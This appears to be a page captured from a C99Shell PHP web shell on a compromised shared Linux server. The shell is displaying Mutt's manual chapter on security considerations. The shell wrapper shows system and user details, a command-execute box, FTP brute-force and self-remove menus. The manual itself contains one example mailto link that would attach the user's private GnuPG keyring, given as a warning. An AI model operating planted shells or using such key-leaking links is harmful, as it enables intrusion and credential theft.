!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/share/doc/mutt/html/   drwxr-xr-x
Free 713.7 GB of 879.6 GB (81.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     security.html (8.2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Chapter 7. Security Considerations
Chapter 7. Security Considerations
Prev   Next

Chapter 7. Security Considerations

Table of Contents

1. Passwords
2. Temporary Files
3. Information Leaks
3.1. mailto:-style Links
4. External Applications

First of all, Mutt contains no security holes included by intention but may contain unknown security holes. As a consequence, please run Mutt only with as few permissions as possible. Especially, do not run Mutt as the super user.

When configuring Mutt, there're some points to note about secure setups so please read this chapter carefully.

1. Passwords

Although Mutt can be told the various passwords for accounts, please never store passwords in configuration files. Besides the fact that the system's operator can always read them, you could forget to mask it out when reporting a bug or asking for help via a mailing list. Even worse, your mail including your password could be archived by internet search engines, mail-to-news gateways etc. It may already be too late before you notice your mistake.

2. Temporary Files

Mutt uses many temporary files for viewing messages, verifying digital signatures, etc. As long as being used, these files are visible by other users and maybe even readable in case of misconfiguration. Also, a different location for these files may be desired which can be changed via the $tmpdir variable.

3. Information Leaks

3.1. mailto:-style Links

As Mutt be can be set up to be the mail client to handle mailto: style links in websites, there're security considerations, too. Arbitrary header fields can be embedded in these links which could override existing header fields or attach arbitrary files using the Attach: pseudoheader. This may be problematic if the $edit-headers variable is unset, i.e. the user doesn't want to see header fields while editing the message and doesn't pay enough attention to the compose menu's listing of attachments.

For example, following a link like 

mailto:joe@host?Attach=~/.gnupg/secring.gpg

will send out the user's private gnupg keyring to joe@host if the user doesn't follow the information on screen carefully enough.

To prevent these issues, Mutt by default only accepts the Subject, Body, Cc, In-Reply-To, and References headers. Allowed headers can be adjusted with the mailto_allow and unmailto_allow commands.

4. External Applications

Mutt in many places has to rely on external applications or for convenience supports mechanisms involving external applications.

One of these is the mailcap mechanism as defined by RfC1524. Details about a secure use of the mailcap mechanisms is given in Section 3.2, “Secure Use of Mailcap”.

Besides the mailcap mechanism, Mutt uses a number of other external utilities for operation, for example to provide crypto support, in backtick expansion in configuration files or format string filters. The same security considerations apply for these as for tools involved via mailcap.

Prev   Next
Chapter 6. Optional Features Home Chapter 8. Performance Tuning

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 
:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0139 ]--